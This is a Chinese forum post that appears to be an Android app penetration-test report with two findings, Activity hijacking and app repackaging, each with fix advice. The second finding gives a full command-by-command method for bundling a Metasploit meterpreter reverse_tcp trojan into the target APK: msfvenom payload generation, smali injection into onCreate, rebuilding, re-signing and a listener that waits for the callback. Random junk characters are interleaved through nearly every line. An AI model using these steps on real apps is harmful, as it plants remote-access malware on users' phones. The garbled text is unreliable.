7 M8 i! @3 |# Z2 u; [) f: S( c) _7 n+ S& X0 {; A

9 a/ D( D/ j8 N! b8 n ! `7 ^1 r; v/ [1 m   2 p8 [7 @# O9 Y+ |# |8 [ w. L9 v3 G1 N0 Q' h8 B4 V

# }% j* U& n q ^; w0 x& x7 r E ! a t# @9 @! H/ E, i0 k

+ V P/ R$ @8 X$ H4 j( P* H: ? 0 C! }" I# ]2 f8 P# d3 T2 h7 ]( w 表1-2 测试结果 ; v' _( G0 n/ c 6 b* [' S( k% x7 ^7 L$ c

. |, _) g- H- k( G 6 y2 f4 d T2 T0 O- {2 s, }$ f! ~

& O1 c% u0 z, W, ]9 _- k& a2 l9 Z5 W( i3 N! {9 s   - @; T3 V# K A: Q$ b9 ~, e ; A) U! d0 \( x9 W* i+ x' {

S/ ^* G" ?1 `. Y0 V# X2 v8 p3 U) C* D( D& S6 w

7 h1 G3 r0 f* K - P* _- z" v# h. O 2 检测结果                    / Y% @7 q& h2 s2 V2 Y8 a2 ]' M' K+ \) j3 l( o% F* M/ s

) O7 U# j s' b' |0 O- ~: O: @ : Y" h2 s g! C

M V6 I* b P8 G9 M 2 Q0 m* h. s! D8 {9 w 2.1 某某某 * e! a) N! U0 J' C% O/ M; Z- R$ n7 d3 I9 `1 I" o

# m' l; `3 W2 G7 H \7 R+ M1 ~" j4 M$ l& h3 g5 g

& @8 l% c2 \/ f! ]! v 2 ^: O. ]* N6 l/ h e0 N 2.1.1检测目标 4 L3 u/ s, x7 j 5 F7 D" y" t- w$ c+ @9 h+ x

y6 w& F6 c4 H 1 X. ?% k- N3 \+ ^

8 z0 @ B$ X# P; ~% n6 A s$ R+ ] ) o9 q1 @& q4 G 目标地址: 某某某某某某APP - F" Y5 ?: Y9 R7 R) b! X & F$ M+ X4 D" l7 @: X: Y5 S8 X

* M( Q) [9 g1 z: @ 6 L5 l$ ?7 G0 u8 J1 N* `! @2 S/ I. i& q

2 x+ F1 V9 _ ` C- t 7 [0 g0 W# O; m U 2.1.2检测结果 8 M( u( c3 ]# x7 f" n* G, C' x; {' C! i

! W5 }; `/ I6 z) ^' t - [' P7 i, `4 a. W

7 R; U5 ~, l. A$ f* W: S- L / D3 Z5 \* p/ Z- Q* E 2.1.2.1 B/ z5 m6 |6 t: p- o3 q : ~3 r$ |! V1 u

5 C3 M6 {* B5 v% w% t8 L . c0 F! c7 `# L6 H2 O4 s$ o4 M/ \

7 J% x' j3 }* C5 ]4 j! v - m8 }/ Q/ s! h. D+ D% W0 E5 R 漏洞链接地址:某某某某某某APP - q D- W+ b0 Z0 b$ T5 B6 r + J- i3 m6 b' R( @7 ^

' Q$ t* w9 y& T6 s# P , R7 Y3 F) z$ A% W

& ~ A5 h) @- G- Q" z/ s5 N+ n7 g9 s6 z! w) \9 M* D7 f, \   6 m" Z9 h& r- O5 i7 y, A8 g& O5 o- _7 L2 z" `

! o2 i- S- `+ T0 Q 6 Y/ K& @! n) G3 E$ P- |

% c; K( \* I' [* m7 [ U, J, r! L; A( o6 c 漏洞分析及取证: 0 {# b m0 T6 i8 M( H: a5 k! H3 A: [) ]7 B5 s. S% ^4 A6 P

8 S T% L; c: ^: u ) n0 V; z2 @, J' l9 n

+ s# g6 O) ]* Y8 p" n: N 9 `; u Y6 X1 z& \2 d6 Z                  通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: , H5 u9 r$ ~) m: B+ m9 E: x; [! X# U 7 G2 v" ^( n* U0 P/ {

: G, R' R% J& L ; B- K" ]" M: }6 e1 ]

3 {. t" l: e# S4 b5 P. b/ G5 [2 |, W1 u! I! q      2 q% Q2 [8 J' ?, ^% z) o# _ j+ O) Y$ B" J) y" o& L' P/ e/ D" x+ Q

9 V- J4 n3 u7 d' {% k / {3 B1 N/ Z& G) z( f5 P9 u( W

7 u% u1 g% |. x9 l# |2 l ' U! s- v# s) Q1 t' d2 W, D                       , D8 M5 s) j; |& X8 M# C2 Z ( l" E u" W9 d, |* O/ j+ f

: B, C! \5 L& n% ` 9 ^( ^$ A7 F6 t: Z) p

/ O& k; d% `8 R" \# {$ T; Y % W$ r( ]* D# i* `1 @: K- W 7 G. J0 Q# j) J3 M; w# u 2 f8 M$ t6 ]2 q. B) i$ \- N

: Y( k3 _0 C# ]2 ~; M+ J& a8 G 8 Z7 r6 c6 Y2 j( \

/ {6 i# g& @7 u8 a* b4 i) I' e $ v9 r5 t* \: I# n" h4 S 0 T! m, Q' a$ W: ]' i, [& l 1 i2 w$ e" ?- R

E' n7 d' ^; l1 ^5 p0 y( ^ % p; ^( \& Z; j% w0 t5 T

( A3 \: Y4 \/ R+ G' _+ M. q3 y7 Z! K. T8 b: z6 @# x3 Z. Y * i" a8 k, ?' `% V8 u8 ~% x % D# j& h4 ~3 J' S* d+ j6 _6 Z7 r

1 U7 a% Z0 Q* _! M # H p+ _, ]4 Q1 b, H

$ X2 L& ~& @6 e 5 O: M/ U* c6 a 漏洞危害:高 " i1 C& n# ?& L0 o+ ^2 e ]6 s5 R2 Q! r! p" |

) c4 O2 F% ?4 U 1 r, F9 ~2 t* T6 w8 R3 b* {
( t4 i4 v3 M" X$ D ; R) ~4 d( {0 K9 y- K- R. o' C& A ( v' Q3 V9 O4 N% X, A: H/ x, x9 S/ T3 s2 o# V. ?+ M+ d0 v3 e/ r# \; |7 W- O( t1 E% K! J9 t5 W% p8 Z2 i9 R& I3 b, l- Q* }% [: d& I- ^. Y& X3 C( b7 v( p1 B. o$ L, A$ w0 M \( k. ~. o* F+ S7 Q( I( {( [) z3 ~( X$ q* U. @3 K+ V; o2 G8 I1 y/ K) w# @2 B9 }1 R# e" y ]6 ^6 |( J% u0 f [* R9 J6 O; A: {! O. c; b, z A7 k, C; I; z' Q3 c( [7 d9 x/ }6 p/ i1 J1 f6 ^5 v: Z3 ~6 D4 y' O& \3 x0 Y3 t/ _/ I& A" f5 V& Y; f( ?+ b" ]9 h+ A8 S7 z! ?9 a. V, X# A5 T3 @+ j9 q: {3 {# T' T }* L' V- z. ~- p: a% R" j9 @: Z% y0 p) m; \* u( |% [8 Y, [% A! w% d0 v* P: \- Z, M' P/ B# }5 T. g& e% V3 J2 M, Q% Q
' B( c6 y+ {5 K+ ?, k# d0 q5 i& u, p& I) a8 e' a0 y

/ ?1 G! Z; U# G# v% N( g1 }) L# @' i ' l9 }/ ?; N) d2 o! c3 H 严重程度 U" `0 K( j$ Q- K* g , P& A9 b7 ~$ ?

) G" ~3 u) t9 ?/ T# \- o& W" u & e4 Z" L( s$ S+ o
/ A) d3 h" T' G" G/ G) n 7 a G9 o O. x% s# Y

( F0 D; i; x- u E) o* B d2 n5 W6 a; [1 S 高 ; m5 w; `3 u1 |6 j . L8 f" b) y7 J& P1 q2 {

# Z+ X/ N/ d* \! C1 ?8 ^$ D3 Q " c7 Q* r7 _' H3 N5 b" B3 b5 w
- ~3 l. x. Y C I" }* F: Z / U+ s+ Y2 s5 G- g% F5 [. J

( y4 s) P: ?& \( s 5 \! h* M. I0 c, Z- q ■ . ?6 z: j5 l2 y) u $ L; i' s! O& Y

% v* I' G N2 }/ j2 z$ | h 1 v4 e' i; a Q- v6 Z- x/ P
3 D! e9 v3 o0 f9 F5 D6 g 5 W7 g1 p; H/ j

& j) ?0 D4 y2 x' ~% h( ^% s4 p' G! k; t5 H1 C& g# z- v( H 中 + d+ Q: h+ R1 O" B7 X / Z( K4 z& B4 K# s, D( s- V: s

/ _% m5 |8 \: I7 ^' B" F6 m4 E 0 G$ B, z6 o9 F0 {; f' u G
/ Z; ?1 P. H9 t5 \ 0 w+ F- [3 N$ C( D- D W

3 a- d+ g% z5 G Y4 c# |! m% Q8 ]   7 c* G* H4 U$ a ' G9 h6 ~5 r1 l" y7 J+ f8 D

% g; m1 ~: g# d% L# x, Q; P& Y0 O0 G4 N+ L- |0 S8 {4 U$ e
8 h$ l( {5 [# Z5 F) |1 h% ^9 p' C5 b h

" Q! s; _% h' j, I1 f) ~( }& H( Z8 B' X7 S5 R( p3 k2 C4 b 低 7 y3 Q, ?" W: M$ e, ^$ G Q' U3 y% f" N% f9 |/ P

2 Y" ]( p f: o) v& V! G 3 {- m: {' G1 N1 T5 d7 C/ n5 M
% B' \; v& K* x6 K( [, A$ C & Z7 N, E( A" T; P2 z

9 |$ k7 J/ M8 {# ]" w e+ d$ W 0 r' L6 ?# D! B" f   ; W& d8 A8 H% U, J8 f: `) J* u' k3 V - B! n+ i/ ^% n- W+ T0 A

9 {! ?, `3 r, ~; D! ]9 z+ J5 A2 _/ e* {' h+ d0 Y( ^" K# _/ q' V- }
k1 R+ l: ~& n( t 9 s, x' f8 e- `3 Z
) N0 R7 H/ q7 Y, _: k4 P i$ {- Z7 S2 i" q- w6 S! @& b* M) Z

+ r# I" w! r+ x- C2 v# O. _4 k : K/ {" f5 }1 w) m   5 e+ c7 L7 M3 v) n# u ; a% m* l1 s8 b- W D0 U

1 x% f& I+ w% [7 y6 l* D4 W+ ^6 l% g3 Y' V$ D) l; u+ v g- U

3 Y; L2 r8 K6 _! m% ~ . _* ^$ H- y+ I; b; j 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 / W |% [7 _) O( C& O: k- w* @2 c* T7 j% _$ \# M9 _

9 p: Y2 e/ {- C3 Q% ?+ J# @ H ~) ^! W2 h+ ?5 |9 s& u) s

9 t& F; Y, t5 ?/ k Y6 N7 t: w0 [7 ?5 u1 t- N0 b) z5 ~+ R           1 `2 ~+ f. g6 w1 m' }! F+ s/ S0 q, P' a* j5 g- r+ R

4 b9 T# I; f$ @# j8 C7 w ; f, V, [' _$ J; J2 C3 i

3 o. ]& M# R( Y/ C! V( L: W E* Q8 i7 S' @- q' b   5 [- U/ Y, s2 \& H" n9 S* E2 ~; ^& |4 D5 y2 t7 L8 z) j7 N

* ]9 E7 k* I# R% W! v9 Q 1 I4 k; v2 Q- z6 k$ D4 r

* ]0 I0 B% v: m% H' I! Y, }- m & w6 w0 f) H* w+ E1 N. Y$ G4 X' ` 2.1.2.2 7 i, X( g0 W" q5 } ) O8 e6 B- L2 S, j7 E

& C) d+ J! L# Q & J; t0 q; a3 V# A' d

# u3 b/ t. |1 \# L. ~ 9 r3 W1 O1 X& N- m 漏洞链接地址:某某某某某某APP / o, |* k Q, X0 T! p8 A# b / L; Q, w$ R% e2 J

: J7 K& `4 l/ u0 {9 U( U4 @$ g/ l1 f) R! e/ t

$ @" O _* [! n- r' i 9 p, v9 [: S3 y/ s l, j1 k3 a 漏洞分析及取证: 6 u8 Y& o/ S) x4 p3 m) Z) C# w. f 8 K" }/ S4 Y; }4 I8 i* Z

" U5 E& M6 V1 l7 p' A" J* b1 u) K( W& u6 ]

' g" L- N$ ]; X& o0 U# r! k + d* C S3 t' L# D                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: . X8 `& `! I' D1 I0 d/ k' }# k ( a t) B& \- O9 w1 O" [2 A

/ ? c, j; R6 ?7 N, S * Y/ W* t% c o. R; o# x

8 ` s) v, M. Q l% Z9 C6 s6 j% R3 |1 ?6 k 5 o$ ?+ Y6 e3 ]! W! h 用Metasploit 生成木马 apk ! W i/ d: B, O' a' u" s! M& P7 y1 Y- U" O/ k

Z j. B8 X- w1 l. O, x3 }9 `' j( N8 q

8 o/ S4 u5 t9 o+ V 2 ^& K& ~* J2 O msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk . |7 Z) ]6 l/ U& N 6 q) H1 u; |5 @& |/ t6 y! N

% ^4 F: I e+ L( q& v0 Q1 J. `* u3 Y( H

. X1 U; t/ ?- l2 B8 X% W+ p$ N u5 U) e U) o" U% H# s) c, z 反编译目标apk和木马apk ! c2 n% u0 _3 [: ~, F# n8 O6 Y : S8 r+ R$ b# D1 I* y( Q2 ^7 n

7 U1 ]- t- l3 V3 m8 E2 }% ]$ B; b6 E- v3 s3 a

, i( f4 E0 z. c1 {# j! E: h8 W 0 R$ B" q* u0 R apktool d target.apk
2 ?# E K7 [9 A) \* O! p% O4 n ( e. } J' T2 C1 J' N- x$ w+ \ apktool d cockhorse.apk
5 j1 M* D1 V) s& s) h D1 I1 o" f: E $ J3 }3 _* t: u

4 i3 W9 [, x8 M4 B4 a# g7 ^ 3 N3 |* R8 s0 T& d Y* J

0 U7 W2 F4 I6 I( c* N5 B0 J4 W, A% Z6 `' d 木马 apk 注入目标 apk , b& E" Y% n W6 z9 w/ G, _ * t3 n5 @5 I. z- |! \8 h. @1 K* ~& S

! q8 @* Y2 c1 I" k ! j) J, |& U: Y+ a2 S0 c7 b

# T. j* B0 j! X$ S { + L* G, q c- ]& f; O# ~& ], \5 d 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
, M3 s ~0 v; u i1 h# o" T 5 E/ O [4 O' Q6 m8 z6 k9 O+ S: i) t1 K. p" H invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
/ ?7 C+ s+ K! m/ l " A* R5 y5 v6 p. p% t3 O" D

3 H& k7 H# r$ v* c) m7 @% Q* @* X% |# D

7 [+ t0 \$ C3 U7 A# |( N- V5 K8 z# U& \" h& ?$ |" z& z& { 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 4 a7 I4 ^" Z, C3 ]8 v ; S6 `0 w' b8 H# @ k7 U- C

2 E2 |* E) W% J. x( ?8 w1 t7 F( ` / D! N: A3 g4 i. D8 h) k" R

5 H$ i! @7 g/ @* c5 _ 2 D) N& g# f3 M/ I 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 9 @& b2 v. f7 o5 X9 W/ G; S- ], {2 _2 Q# X1 z4 r, Y7 p

' Q2 E7 N: d& } : w' j0 b* ~# x- d m( B5 V0 J8 [

# ~4 g5 y- @2 l1 l3 y. z& N' z, h7 c. [$ V9 G2 f: Y 回编译生成最终 apk ' K7 _3 F! F: K! r- o5 U 0 f' ~6 A0 b3 } W p

1 s( H5 ~1 k h( {( Z( y$ q, N# J# B, V* L

6 P! e/ ^$ ~/ g- K- s! x 8 s ^5 s/ Y, a% q0 g 重新打包 G# H5 r1 m0 y: ~3 q' s) m H8 y0 E7 f9 a$ r

2 u" |9 k$ ^/ ] $ y' ]* {' ~, z& n1 p) i1 h8 h

2 j- g4 S' [9 R3 T * u y4 p9 ]4 D: \3 k+ G" ? apktool b -o repackage.apk target_app_floder 5 }" }* n* ^/ t5 |! p1 i) n) P K, }1 i' i9 N2 P) `' R, i

5 R, ^7 s0 x8 \, T6 V- R' h1 n w, l $ q' _; `# D+ ^' k- f

( |- A, N F, ]5 [- F : _; t$ L: w/ ~7 B 创建签名文件,有的话可忽略此步骤 p+ B5 j1 Y; E 8 g: e5 ^7 B" [' ^/ j: o9 G' m! v

; Z0 d/ \8 \8 b$ R+ c( f% i/ Y* @' N; }

' e/ {- l( T. D6 f# k0 X7 ?8 F5 f3 z( H8 o' D keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                ! g" y p4 D" c+ q3 L% J/ J& t8 V+ k3 {0 z$ x, X$ L2 q) R3 W( @

; d6 Q# \% K+ m7 z2 S. b3 N* m ! p: p" \, W9 B0 b9 G8 X( q

* c+ L5 ~ u) ]5 v$ [1 z$ D+ `6 e6 d& l1 i 签名,以下任选其一 8 R9 H+ L$ J Z: s+ p) t. L* Y: f5 H $ z: V) K3 N4 d5 p

% H- j( }+ q/ E, e" X) R' a: L( y0 D1 C' V: q

' v2 h+ B" P5 e % [7 v4 D2 ?) D* j5 z+ s3 \0 t jarsigner 方式 , p! a) a* R5 k9 U& |$ `+ M' V+ ~' I ) v9 k8 `% u3 q/ e" f8 E

! P% X5 s8 N8 V( }1 [4 @5 j 5 B. y Q8 v# _6 V/ m2 E3 [

: H, f+ s6 @1 D, b- r 3 ?) R# [+ S1 H jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname c6 q1 y u7 n4 C ]3 H6 a2 `' a# S

4 B: M# ^5 v9 W# t) I & }+ N- k$ ]: f* m z! [

" C- H$ w. ^: z1 L9 K% f" W & e1 C4 f! A$ I6 i) q apksigner 方式 : t$ y0 w2 b# v8 F0 `( ~ 2 W; E6 s& Z) p1 m- w

8 p' n& U, s1 G % q9 S$ i% [3 Z! \

9 w: f! ]/ q3 i& o& K* ^2 w- ~ k; }( s2 w U7 F1 j apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 5 E- W% [( @- t: ~# U: E* a& e. E 7 v4 Q! \- p$ [2 }# V5 |) |

4 I1 q: a- N$ i' `! z' U6 W 5 n+ [: j; _- e$ p

7 K" M9 [$ G0 _8 W0 X- { 5 E- K# C% `( S# r2 ^1 S, ]2 P 如需要禁用 v2签名 添加选项--v2-signing-enabled false 6 W! z; u. } V " A; [2 i7 U7 R: H# w/ q! u

7 G: a+ x3 _4 x 9 C) \1 k+ j. e A: A

1 ?" k' V; H: [4 t , _7 s* a. J& O: u9 b' Z! S 验证,以下任选其一 0 Z2 w; z# n- f Z) U' n 9 F8 J+ u$ }2 v6 Z, w7 \* M, ~

8 G, `! M$ C2 E5 ?+ o( Z. J+ j 8 p8 V. @ I. H

& A2 b( { s' ^* I 7 |7 \0 D7 |- h, ?2 T jarsigner方式 4 L: j; G; p' H+ D' L: l* X % W& ]: e2 |2 ]4 O N, H

4 S8 w* }. v, I. f/ |% ^; `$ ^$ k4 C. Z5 ^

1 h% P' \; f/ a8 r; ]' F5 {5 Z; k3 U! b, k jarsigner -verify repackaged.apk 4 s/ g, B, A, Y6 A+ |: y . M/ r, Q5 K0 L* W

1 b4 A) L5 P+ A! T 1 q3 l: F8 m& P( {# B& D* d6 z

9 M) t7 O" u: n' k9 S& i9 C# c apksigner 方式 ; x2 r8 H! N8 e1 P: N- @ ) ^1 f7 d: c9 X# `1 F

, o( e. @* V( d2 Y. h! b+ [ , l4 E' a' B6 H) U* c

' b$ V F6 _, }: e 5 ~) b1 G9 ]8 p# h8 f apksigner verify -v --print-certs repackaged.apk / u& e6 [! A6 f , Z8 A$ z0 U4 O

; j7 P: Z+ D4 v/ B6 g ' A+ e+ `( ~& x( E, x* j

9 t/ K" {5 X, E. N" a1 i$ C4 d, C8 J- z keytool方式 1 o' G3 }1 ^; Q. n7 _: p+ i5 w7 @& ?$ `4 m, Q- i w9 F# ]. p" d

' ^9 P% D0 ?5 Y0 E* F3 U' F0 }: n, l ) Q! w8 U `" W Z3 V5 F$ @

. `7 R' O/ H2 U( A( i 2 |! y8 C9 N- D& M: s* | keytool -printcert -jarfile repackaged.apk # a; Q0 S% S$ y, q0 @& L $ P/ r' w! [/ }) x# p

/ \7 @, u" I* r( a: A c4 U + i3 C8 D& n5 C$ A

5 ]5 t+ h5 k5 H+ C ! i: Z7 s& o: q! K% \" L6 ? 对齐 2 |8 j# I, l% q# V- R ; c* N8 g: H- Z0 N

# u) K" V- j* E) \# l: r4 c- A 6 x' r: r( @+ L! q! w# H

% }/ z! P. e) a6 T 1 l. { C1 s; Z5 r( q/ X. Y; N 字节对齐优化 " {1 Y9 H' i/ w9 f! Z/ e- ~* k9 ?% h7 O4 _: U- [

$ W4 f0 J/ i. ~# g6 X+ P% h . u/ P. d, y( h0 l

) R: H2 k9 {6 f g: N" i 7 p) w! _3 M) Z3 a2 M zipalign -v 4 repackaged.apk final.apk , T3 X) t1 o. o/ w * o# }8 m, m o6 u

" _2 Q9 v E/ d" u+ A- O 1 q& c/ v, h( E# X/ F* w0 W

& y/ D, L B* f% M2 H- n& R, }" @ ; s* u4 G) R2 b# @* Z$ w; D 检查是否对齐 3 b" O/ Q3 A5 n+ E 1 N% i3 `- `3 P3 E: B! ^

: z1 @7 H3 U2 h6 a# v* d 3 k# f/ w+ V& x7 o5 r' N

+ E* h% {4 |# A/ I; }6 k! _& _ : w2 c) L# N' C7 s; I9 \( \ zipalign -c -v 4 final.apk - k5 F) {# k9 F " l9 l/ C! y* K+ ^

; S+ ^/ V, _* C q! p0 U9 K% p7 J , y+ l- H( z4 N1 O2 |

# G! X( Z( |( C, d$ a- x ; Q8 `9 j6 t$ i: E% V9 h1 f- D7 c 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 6 L* C$ [% ]. s# L . ~! J' H1 E1 d! A6 @% X: R- f

# `" g# U0 y: N, i, N ' o% H& [+ U' ^ k) T* u, `

7 l* V. {& o Q$ U/ `1 @ / @" P7 R+ @- \0 m" F 启动Metasploit控制台,配置参数等待上线 ; w2 p. k5 h1 t9 t4 P& G' L) v6 `$ A. {) v1 }4 o; X! F/ {

1 s8 h" \3 }5 V 4 Y# o7 D3 `5 Y

) i! V6 @% |! b3 t) F7 u! }0 ?1 J" X2 z+ G2 T& H/ s 在终端依次输入如下命令 w/ w; b& d7 w4 ]+ O' ?4 e2 P; M( I# `

3 F+ }7 {( y1 _: L5 r0 V 2 K* P6 Q5 o% i( I" b1 W

$ G/ h& `1 U6 o 5 K, T/ U4 O4 P# ~9 }, B msfconsole " X6 K. k# J, V% q) x l 1 Q Z5 c( m# ~# K) J

9 t8 B6 B$ ?5 I' Z$ S. m; [ . z" A7 m5 x; ?. D- Q; g+ l3 {+ h

# L1 [5 M3 T( M3 j ; N) Y3 K! O: }; V use exploit/multi/handler 4 d$ E8 ?3 @5 A , ]4 o7 R- [1 o8 a

- z K; ~. W7 ]0 u9 p' E7 H t; m+ c0 t7 S) E5 g/ X

1 ?1 L5 y" R3 l# q# f1 V0 W$ j( O8 _7 k1 K; {9 z* H6 q- t. q0 y" d- r set PAYLOAD android/meterpreter/reverse_tcp W, j& K$ D/ [( d$ e 6 H) h7 K! n$ R) q& a

$ e( O: k. w" H$ ^7 t: Q- ? ; H9 Q9 f6 S5 @3 C, h- R

% e3 j' n( b( j! n& l P ' x3 V7 w. G9 X0 | set LHOST 192.xxx.xx.xx $ D; x( n/ y. ~0 e+ |* g ( T g9 B; P: D+ x8 \8 O

0 s9 G0 L2 Z* @! X. C& ]( J$ Q2 z$ P; d1 T# q5 i3 O

- {$ |/ p7 E; d+ m2 z/ { 8 \) ^, e7 [& ?- J* t set LPORT 4444 ! ?1 K0 R0 v1 G' i+ K 2 ^, U2 `2 G9 e1 I3 ~ {9 H

8 g# l6 a1 O/ z8 i$ r9 C) S8 ]! D5 a. d4 k; G' \/ Q2 I% X

; O' [( X4 v; G! K: ~* b. B, w$ w) h1 K3 ]$ O/ j" G exploit n5 u) Q- G2 x 4 Z# c" P) j6 `9 J: ~4 a+ m6 ]

8 D( G- F1 q6 b; ?* S# v0 j; H) e 4 B& N7 z, m! {! j6 s6 U7 z

# [' ]- C0 V0 S/ \3 [$ I- Q z5 u/ |; x& @& j0 b8 J5 l 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               , `. s2 p9 `% N. | d: I6 R; o. L

2 }" k( Y- B8 ~ 7 a5 e* \1 }8 I' A5 ?

: B0 H0 z) L+ O ! ~& y7 I! d6 R: \ e C; J0 x 漏洞危害:中 & C$ Q U2 {& i h$ N' w 8 \8 T& Z5 q' v1 m; D5 G! V

/ Q. j" @/ g2 D# x/ t1 B, S6 L
1 E* c! L- r/ a8 w % n" O: N s% U; R, Z) y * C3 W/ `, d% e5 D+ {: H5 ` q+ q' A/ I 3 k7 }" n: p6 K9 J( Q& C4 y5 x) N$ @; d% b% M5 |/ ]7 b7 R! T' U% D0 ?# w) P2 D! u, T/ H& O; R, [2 _# k( q0 D9 i2 Y$ w; {2 e5 N- r. V! a1 H, E; z. \9 U% }9 o4 _) G! c% l& o# |8 s& S& |) G) N i* ? ^$ [- W6 G/ _9 c- \6 c9 P& {, [& s* Y( f# ^' w7 [" R% _2 H" b& _' Q8 \$ ?: h$ `- V$ K3 }$ S; G. p5 J2 `* X0 Y! w1 C8 d# s- |- w3 [2 g$ W, p, M( z' @1 c" I6 V- F* {( m+ G. w/ j. J$ x: G3 D- Z5 Y! Z8 }, V8 P& b( L- d' j+ m2 Z$ [9 j* l: a! }* I' |" A4 V6 Y7 v9 O# X5 |, Z* b- r0 Y0 n. X4 o: K' u% {, m, F8 Y3 M7 r" i$ ~6 r% c/ \6 L6 R9 w7 C% t0 e* E5 z; m6 |: H% B
; o) i/ u! p$ ?1 a" `1 `* `- O6 N6 v: d/ v

/ v9 C6 Z( s5 ] 4 t$ d$ F! l$ p0 e' D( j( ] 严重程度 & u* d0 v( H5 E6 T" G ] 8 f3 U' o/ o. {% y

, \; \/ V2 r X5 d7 R) {, S" s" ` ; H/ r( n: Q' y7 }: J9 J
: |( V& y2 p! k w% u8 M! c : U; u2 w8 F! i- l) p

2 ~. Z4 [" V: t, l 4 G, y. y6 W& W u' ] 高 9 k( y" v. T m& j$ n- t 4 p( n3 D0 \1 h) k

8 g3 o* U* ^5 ]7 R' a1 W, J* A3 w 4 |5 q4 S( d7 G! s# B+ @
; y( W; k. Q. O h* e) \1 F 4 g8 L b& {/ n" X0 p

! Y: x/ |' `0 V8 q) X ' s+ D! D& C" k; P: a. x# m0 a ■ / t" f& a# u: A; w$ [( B$ J+ O . B9 z3 p1 w/ t6 o/ P6 u

: o1 Z' h+ Z9 N% v / j. I# J8 v+ m/ j1 a
. x( Q' y8 Z8 _3 t3 g9 [" t - U: T8 b7 R' K! i1 ^

. Q+ L- T8 Q$ C; d4 ` . k5 e0 {7 H2 | A/ c 中 & u/ l$ j3 k, @2 C0 ]* O ( u# p2 ?2 n7 h5 H$ f

A3 @& f0 U: w8 l( L, H" r" _ ( ^, E' d6 [9 {8 o7 o
8 `6 u% W) @ b; Z% I/ A * {6 c7 i5 D! x$ j( j, `! }( ]* T 5 Y9 {9 W W1 O4 y: [$ i, t3 A# J4 u' g

& ^9 n: {! U- J9 ] ( ~4 |+ A: X# u7 s   % s9 w4 D3 H' ]" d6 C; \/ i " u5 K- \' v3 |* a2 n, N

. j, \$ B u4 M: ^ 1 @+ J/ L3 M( z/ \
. M5 e/ r' }1 k/ b! q; Z * ^' E- y, @$ Z

: W$ j! n1 M1 f # o" r& [. i7 w. n5 K5 t1 } 低 * i2 X7 F+ } N( K0 b$ ~/ ~ % U. a1 G0 r, \- ~4 t

* b0 B2 ~, a. D* P1 O8 _6 t4 |! b' F) z7 }( h! a/ U- e
' Y, @, f: W6 Q; ]0 h 4 P0 V: \6 q7 W0 E+ u7 y, p# i# u & I+ i- {8 Y( Z 7 p0 K3 o6 E9 _, |! ? E2 O* f

o+ \4 e8 Y u" }" f4 A5 D$ V m7 _8 `0 G   y3 B9 B: V7 z- Z! k2 |5 z # ~# m& S/ N" o* @/ G& r

) ?: N, F9 J! @" i" |) L% U 3 N; q/ ?+ r% H4 [5 a/ u/ e0 Q
" }7 u5 @- H) i( l2 g2 h, j% P6 n ! V: N- E8 X5 @) h; A T3 Q
3 R9 M& i, }8 d1 u- ]" s `1 X Q3 p, j/ p* t8 v

# k+ A& `; H# W2 _ o2 V: I7 Y8 N& Q   * L# {/ j! J& e4 `" ] 4 f1 |6 n7 u" p- C

: a: N" j: ?. J& u0 _0 w ' f# X6 E# c5 {7 U5 x5 s/ \ X

; |3 a, S4 w7 S4 q& J1 `+ A, Y# ^- l0 s( x/ J0 Y; g6 D- S 修复方法: 9 |7 a) z' J7 q% w. j7 J4 L( w * w; f* C5 c& ]

4 p% d: H1 p1 }+ m0 }0 L* G; F 7 j3 J6 A) {( Z; u$ \) Y' [# J+ |

! d- c3 D( w2 z 6 v3 m1 `2 j, g# ^0 G               1.在 APP 启动时应做签名校验防止二次打包。
% [* V3 F0 Y c, _% x1 M ! T2 `$ ?0 H8 f 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 1 m. ?- ?* c/ ~2 }. R! V7 K, p , ]6 }' i; g# R! c) b

! \/ J3 d1 I" t" @: l% [9 W! W& ~ % l, F2 a2 L9 j: X6 G& X, ~" G : o* i) I% E# d4 u9 ]$ ?1 u9 r; I4 g+ c3 Z( r+ g

2 q' G- {$ S9 \7 J! Z- B% j/ C 8 D0 W& A% _0 p- @   + M/ q8 F+ q: H" b 2 t9 I& ~- r* C, a) t

( F! s8 A' ]" Q& U4 c1 p $ w6 Q. \+ p5 Z7 n1 N. h4 t 3 P, a8 m6 ~4 `1 ?* y $ I' S" n# I+ u2 b; _( w

- _$ G+ V8 d" I# P+ D1 I8 e 9 _/ T) {" L! }3 U2 g
* i. B- N$ ] m* z: _' e; K! J: R * H: t. U9 z g, c

U# ]2 {# V( m: R + ]2 a+ p" \3 z0 P+ z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表